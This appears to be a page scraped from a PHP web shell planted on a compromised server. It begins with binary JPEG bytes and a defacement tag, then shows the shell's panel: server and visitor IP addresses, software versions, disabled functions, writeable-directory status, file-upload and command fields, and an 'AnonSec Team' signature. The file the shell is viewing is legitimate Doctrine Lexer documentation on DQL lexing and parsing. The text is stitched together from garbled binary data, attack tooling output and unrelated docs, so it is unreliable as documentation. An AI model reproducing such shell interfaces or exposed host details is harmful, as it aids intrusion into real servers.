JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V NICH WAS HERE

NICH
Server IP : 78.111.106.131  /  Your IP : 3.143.17.164
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.2.34
System :
User : nobody ( 99)
PHP Version : 7.2.34
Disable Function : proc_open,system,passthru,exec,popen,shell_exec,dbmopen,suexec,escapeshellcmd,show_source,escapeshellarg,symlink,eval,php_uname,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /webler/tggtd.org/core/vendor/doctrine/lexer/docs/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /webler/tggtd.org/core/vendor/doctrine/lexer/docs/en/dql-parser.rst
DQL Lexer
=========

Here is a more complicated example from the Doctrine ORM project.
The ``Doctrine\ORM\Query\Lexer`` implementation for DQL looks something
like the following:

.. code-block:: php

    use Doctrine\Common\Lexer\AbstractLexer;

    class Lexer extends AbstractLexer
    {
        // All tokens that are not valid identifiers must be < 100
        public const T_NONE              = 1;
        public const T_INTEGER           = 2;
        public const T_STRING            = 3;
        public const T_INPUT_PARAMETER   = 4;
        public const T_FLOAT             = 5;
        public const T_CLOSE_PARENTHESIS = 6;
        public const T_OPEN_PARENTHESIS  = 7;
        public const T_COMMA             = 8;
        public const T_DIVIDE            = 9;
        public const T_DOT               = 10;
        public const T_EQUALS            = 11;
        public const T_GREATER_THAN      = 12;
        public const T_LOWER_THAN        = 13;
        public const T_MINUS             = 14;
        public const T_MULTIPLY          = 15;
        public const T_NEGATE            = 16;
        public const T_PLUS              = 17;
        public const T_OPEN_CURLY_BRACE  = 18;
        public const T_CLOSE_CURLY_BRACE = 19;

        // All tokens that are identifiers or keywords that could be considered as identifiers should be >= 100
        public const T_ALIASED_NAME         = 100;
        public const T_FULLY_QUALIFIED_NAME = 101;
        public const T_IDENTIFIER           = 102;

        // All keyword tokens should be >= 200
        public const T_ALL      = 200;
        public const T_AND      = 201;
        public const T_ANY      = 202;
        public const T_AS       = 203;
        public const T_ASC      = 204;
        public const T_AVG      = 205;
        public const T_BETWEEN  = 206;
        public const T_BOTH     = 207;
        public const T_BY       = 208;
        public const T_CASE     = 209;
        public const T_COALESCE = 210;
        public const T_COUNT    = 211;
        public const T_DELETE   = 212;
        public const T_DESC     = 213;
        public const T_DISTINCT = 214;
        public const T_ELSE     = 215;
        public const T_EMPTY    = 216;
        public const T_END      = 217;
        public const T_ESCAPE   = 218;
        public const T_EXISTS   = 219;
        public const T_FALSE    = 220;
        public const T_FROM     = 221;
        public const T_GROUP    = 222;
        public const T_HAVING   = 223;
        public const T_HIDDEN   = 224;
        public const T_IN       = 225;
        public const T_INDEX    = 226;
        public const T_INNER    = 227;
        public const T_INSTANCE = 228;
        public const T_IS       = 229;
        public const T_JOIN     = 230;
        public const T_LEADING  = 231;
        public const T_LEFT     = 232;
        public const T_LIKE     = 233;
        public const T_MAX      = 234;
        public const T_MEMBER   = 235;
        public const T_MIN      = 236;
        public const T_NEW      = 237;
        public const T_NOT      = 238;
        public const T_NULL     = 239;
        public const T_NULLIF   = 240;
        public const T_OF       = 241;
        public const T_OR       = 242;
        public const T_ORDER    = 243;
        public const T_OUTER    = 244;
        public const T_PARTIAL  = 245;
        public const T_SELECT   = 246;
        public const T_SET      = 247;
        public const T_SOME     = 248;
        public const T_SUM      = 249;
        public const T_THEN     = 250;
        public const T_TRAILING = 251;
        public const T_TRUE     = 252;
        public const T_UPDATE   = 253;
        public const T_WHEN     = 254;
        public const T_WHERE    = 255;
        public const T_WITH     = 256;

        /**
         * Creates a new query scanner object.
         *
         * @param string $input A query string.
         */
        public function __construct($input)
        {
            $this->setInput($input);
        }

        /**
         * {@inheritdoc}
         */
        protected function getCatchablePatterns()
        {
            return [
                '[a-z_][a-z0-9_]*\:[a-z_][a-z0-9_]*(?:\\\[a-z_][a-z0-9_]*)*', // aliased name
                '[a-z_\\\][a-z0-9_]*(?:\\\[a-z_][a-z0-9_]*)*', // identifier or qualified name
                '(?:[0-9]+(?:[\.][0-9]+)*)(?:e[+-]?[0-9]+)?', // numbers
                "'(?:[^']|'')*'", // quoted strings
                '\?[0-9]*|:[a-z_][a-z0-9_]*', // parameters
            ];
        }

        /**
         * {@inheritdoc}
         */
        protected function getNonCatchablePatterns()
        {
            return ['\s+', '(.)'];
        }

        /**
         * {@inheritdoc}
         */
        protected function getType(&$value)
        {
            $type = self::T_NONE;

            switch (true) {
                // Recognize numeric values
                case (is_numeric($value)):
                    if (strpos($value, '.') !== false || stripos($value, 'e') !== false) {
                        return self::T_FLOAT;
                    }

                    return self::T_INTEGER;

                // Recognize quoted strings
                case ($value[0] === "'"):
                    $value = str_replace("''", "'", substr($value, 1, strlen($value) - 2));

                    return self::T_STRING;

                // Recognize identifiers, aliased or qualified names
                case (ctype_alpha($value[0]) || $value[0] === '_' || $value[0] === '\\'):
                    $name = 'Doctrine\ORM\Query\Lexer::T_' . strtoupper($value);

                    if (defined($name)) {
                        $type = constant($name);

                        if ($type > 100) {
                            return $type;
                        }
                    }

                    if (strpos($value, ':') !== false) {
                        return self::T_ALIASED_NAME;
                    }

                    if (strpos($value, '\\') !== false) {
                        return self::T_FULLY_QUALIFIED_NAME;
                    }

                    return self::T_IDENTIFIER;

                // Recognize input parameters
                case ($value[0] === '?' || $value[0] === ':'):
                    return self::T_INPUT_PARAMETER;

                // Recognize symbols
                case ($value === '.'):
                    return self::T_DOT;
                case ($value === ','):
                    return self::T_COMMA;
                case ($value === '('):
                    return self::T_OPEN_PARENTHESIS;
                case ($value === ')'):
                    return self::T_CLOSE_PARENTHESIS;
                case ($value === '='):
                    return self::T_EQUALS;
                case ($value === '>'):
                    return self::T_GREATER_THAN;
                case ($value === '<'):
                    return self::T_LOWER_THAN;
                case ($value === '+'):
                    return self::T_PLUS;
                case ($value === '-'):
                    return self::T_MINUS;
                case ($value === '*'):
                    return self::T_MULTIPLY;
                case ($value === '/'):
                    return self::T_DIVIDE;
                case ($value === '!'):
                    return self::T_NEGATE;
                case ($value === '{'):
                    return self::T_OPEN_CURLY_BRACE;
                case ($value === '}'):
                    return self::T_CLOSE_CURLY_BRACE;

                // Default
                default:
                    // Do nothing
            }

            return $type;
        }
    }

This is roughly what the DQL Parser looks like that uses the above
Lexer implementation:

.. note::

    You can see the full implementation `here <https://github.com/doctrine/doctrine2/blob/master/lib/Doctrine/ORM/Query/Parser.php>`_.

.. code-block:: php

    class Parser
    {
        private $lexer;

        public function __construct($dql)
        {
            $this->lexer = new Lexer();
            $this->lexer->setInput($dql);
        }

        // ...

        public function getAST()
        {
            // Parse & build AST
            $AST = $this->QueryLanguage();

            // ...

            return $AST;
        }

        public function QueryLanguage()
        {
            $this->lexer->moveNext();

            switch ($this->lexer->lookahead['type']) {
                case Lexer::T_SELECT:
                    $statement = $this->SelectStatement();
                    break;
                case Lexer::T_UPDATE:
                    $statement = $this->UpdateStatement();
                    break;
                case Lexer::T_DELETE:
                    $statement = $this->DeleteStatement();
                    break;
                default:
                    $this->syntaxError('SELECT, UPDATE or DELETE');
                    break;
            }

            // Check for end of string
            if ($this->lexer->lookahead !== null) {
                $this->syntaxError('end of string');
            }

            return $statement;
        }

        // ...
    }

Now the AST is used to transform the DQL query in to portable SQL for whatever relational
database you are using!

.. code-block:: php

    $parser = new Parser('SELECT u FROM User u');
    $AST = $parser->getAST(); // returns \Doctrine\ORM\Query\AST\SelectStatement

What is an AST?
===============

AST stands for `Abstract syntax tree <http://en.wikipedia.org/wiki/Abstract_syntax_tree>`_.
In computer science, an abstract syntax tree (AST), or just syntax tree, is a
tree representation of the abstract syntactic structure of source code written
in a programming language. Each node of the tree denotes a construct occurring in
the source code.

Anon7 - 2022
AnonSec Team